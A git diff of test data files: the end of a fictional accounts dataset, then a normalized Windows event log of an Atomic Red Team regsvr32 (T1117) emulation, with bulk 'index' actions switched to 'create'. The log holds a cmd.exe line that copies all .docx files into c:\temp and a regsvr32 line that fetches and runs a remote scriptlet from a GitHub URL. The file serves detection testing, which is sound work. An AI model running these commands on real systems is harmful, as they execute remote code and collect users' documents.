-{"index":{"_id":"983"}} -{"account_number":983,"balance":47205,"firstname":"Mattie","lastname":"Eaton","age":24,"gender":"F","address":"418 Allen Avenue","employer":"Trasola","email":"mattieeaton@trasola.com","city":"Dupuyer","state":"NJ"} -{"index":{"_id":"988"}} -{"account_number":988,"balance":17803,"firstname":"Lucy","lastname":"Castro","age":34,"gender":"F","address":"425 Fleet Walk","employer":"Geekfarm","email":"lucycastro@geekfarm.com","city":"Mulino","state":"VA"} -{"index":{"_id":"990"}} -{"account_number":990,"balance":44456,"firstname":"Kelly","lastname":"Steele","age":35,"gender":"M","address":"809 Hoyt Street","employer":"Eschoir","email":"kellysteele@eschoir.com","city":"Stewartville","state":"ID"} -{"index":{"_id":"995"}} -{"account_number":995,"balance":21153,"firstname":"Phelps","lastname":"Parrish","age":25,"gender":"M","address":"666 Miller Place","employer":"Pearlessa","email":"phelpsparrish@pearlessa.com","city":"Brecon","state":"ME"} diff --git a/docs/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json b/docs/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json index ecd81b6c4df94..d8da4232f93cf 100644 --- a/docs/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json +++ b/docs/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json @@ -1,300 +1,300 @@ -{"index":{}} +{"create":{}} { "process": { "parent": { "name": "powershell.exe", "entity_id": "{42FC7E13-C11D-5C05-0000-0010C6E90401}", "executable": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" }, "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "command_line": "\"C:\\WINDOWS\\system32\\cmd.exe\" /c \"for /R c: %%f in (*.docx) do copy %%f c:\\temp\\\"", "executable": "C:\\Windows\\System32\\cmd.exe", "ppid": 7036 }, "logon_id": 217055, "@timestamp": 131883571822010000, "event": { "category": "process", "type": "creation" }, "user": { "full_name": "bob", "domain": "ART-DESKTOP", "id": "ART-DESKTOP\\bob" } } -{"index":{}} +{"create":{}} { "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "dll": { "path": "C:\\Windows\\System32\\cmd.exe", "name": "cmd.exe" }, "@timestamp": 131883571821990000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "dll": { "path": "C:\\Windows\\System32\\ntdll.dll", "name": "ntdll.dll" }, "@timestamp": 131883571821990000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "dll": { "path": "C:\\Windows\\System32\\kernel32.dll", "name": "kernel32.dll" }, "@timestamp": 131883571821990000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "dll": { "path": "C:\\Windows\\System32\\KernelBase.dll", "name": "KernelBase.dll" }, "@timestamp": 131883571821990000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "dll": { "path": "C:\\Windows\\System32\\msvcrt.dll", "name": "msvcrt.dll" }, "@timestamp": 131883571821990000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "@timestamp": 131883571822140000, "event": { "category": "process", "type": "terminate" } } -{"index":{}} +{"create":{}} { "process": { "parent": { "name": "cmd.exe", "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll", "executable": "C:\\Windows\\System32\\regsvr32.exe", "ppid": 2652 }, "logon_id": 217055, "@timestamp": 131883573237130000, "event": { "category": "process", "type": "creation" }, "user": { "full_name": "bob", "domain": "ART-DESKTOP", "id": "ART-DESKTOP\\bob" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\regsvr32.exe", "name": "regsvr32.exe" }, "@timestamp": 131883573237140000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\ntdll.dll", "name": "ntdll.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\kernel32.dll", "name": "kernel32.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\KernelBase.dll", "name": "KernelBase.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\apphelp.dll", "name": "apphelp.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\AcLayers.dll", "name": "AcLayers.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\msvcrt.dll", "name": "msvcrt.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\user32.dll", "name": "user32.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\win32u.dll", "name": "win32u.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\gdi32.dll", "name": "gdi32.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\gdi32full.dll", "name": "gdi32full.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\msvcp_win.dll", "name": "msvcp_win.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\ucrtbase.dll", "name": "ucrtbase.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\shlwapi.dll", "name": "shlwapi.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\combase.dll", "name": "combase.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\rpcrt4.dll", "name": "rpcrt4.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\bcryptprimitives.dll", "name": "bcryptprimitives.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\sfc.dll", "name": "sfc.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\winspool.drv", "name": "winspool.drv" }, "@timestamp": 131883573237140000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\kernel.appcore.dll", "name": "kernel.appcore.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\propsys.dll", "name": "propsys.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\oleaut32.dll", "name": "oleaut32.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\SHCore.dll", "name": "SHCore.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\sechost.dll", "name": "sechost.dll" }, "@timestamp": 131883573237300000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\IPHLPAPI.DLL", "name": "IPHLPAPI.DLL" }, "@timestamp": 131883573237300000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\bcrypt.dll", "name": "bcrypt.dll" }, "@timestamp": 131883573237300000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\sfc.dll", "name": "sfc.dll" }, "@timestamp": 131883573237300000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\sfc_os.dll", "name": "sfc_os.dll" }, "@timestamp": 131883573237300000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\imm32.dll", "name": "imm32.dll" }, "@timestamp": 131883573237300000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\ole32.dll", "name": "ole32.dll" }, "@timestamp": 131883573237300000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\uxtheme.dll", "name": "uxtheme.dll" }, "@timestamp": 131883573237300000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\scrobj.dll", "name": "scrobj.dll" }, "@timestamp": 131883573237450016, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\advapi32.dll", "name": "advapi32.dll" }, "@timestamp": 131883573237450016, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\urlmon.dll", "name": "urlmon.dll" }, "@timestamp": 131883573237450016, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\windows.storage.dll", "name": "windows.storage.dll" }, "@timestamp": 131883573237450016, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\profapi.dll", "name": "profapi.dll" }, "@timestamp": 131883573237450016, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\powrprof.dll", "name": "powrprof.dll" }, "@timestamp": 131883573237450016, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\iertutil.dll", "name": "iertutil.dll" }, "@timestamp": 131883573237450016, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\fltLib.dll", "name": "fltLib.dll" }, "@timestamp": 131883573237450016, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\cryptbase.dll", "name": "cryptbase.dll" }, "@timestamp": 131883573237450016, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\dwmapi.dll", "name": "dwmapi.dll" }, "@timestamp": 131883573237450016, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\sspicli.dll", "name": "sspicli.dll" }, "@timestamp": 131883573237930000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\ws2_32.dll", "name": "ws2_32.dll" }, "@timestamp": 131883573237930000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\OnDemandConnRouteHelper.dll", "name": "OnDemandConnRouteHelper.dll" }, "@timestamp": 131883573237930000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\winhttp.dll", "name": "winhttp.dll" }, "@timestamp": 131883573237930000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap", "value": "ZoneMap", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573237930000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass", "value": "ProxyBypass", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573237930000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName", "value": "IntranetName", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573237930000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\UNCAsIntranet", "value": "UNCAsIntranet", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573237930000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\AutoDetect", "value": "AutoDetect", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573237930000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass", "value": "ProxyBypass", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573237930000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName", "value": "IntranetName", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573237930000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\UNCAsIntranet", "value": "UNCAsIntranet", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573237930000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\AutoDetect", "value": "AutoDetect", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573237930000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\nsi.dll", "name": "nsi.dll" }, "@timestamp": 131883573238080000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\mswsock.dll", "name": "mswsock.dll" }, "@timestamp": 131883573238080000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\winnsi.dll", "name": "winnsi.dll" }, "@timestamp": 131883573238080000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\crypt32.dll", "name": "crypt32.dll" }, "@timestamp": 131883573238080000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\msasn1.dll", "name": "msasn1.dll" }, "@timestamp": 131883573238230000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\dpapi.dll", "name": "dpapi.dll" }, "@timestamp": 131883573238230000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\wintrust.dll", "name": "wintrust.dll" }, "@timestamp": 131883573238230000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\cryptsp.dll", "name": "cryptsp.dll" }, "@timestamp": 131883573238230000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\rsaenh.dll", "name": "rsaenh.dll" }, "@timestamp": 131883573238230000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\WinTrust\\Trust Providers\\Software Publishing", "value": "Software Publishing", "key": 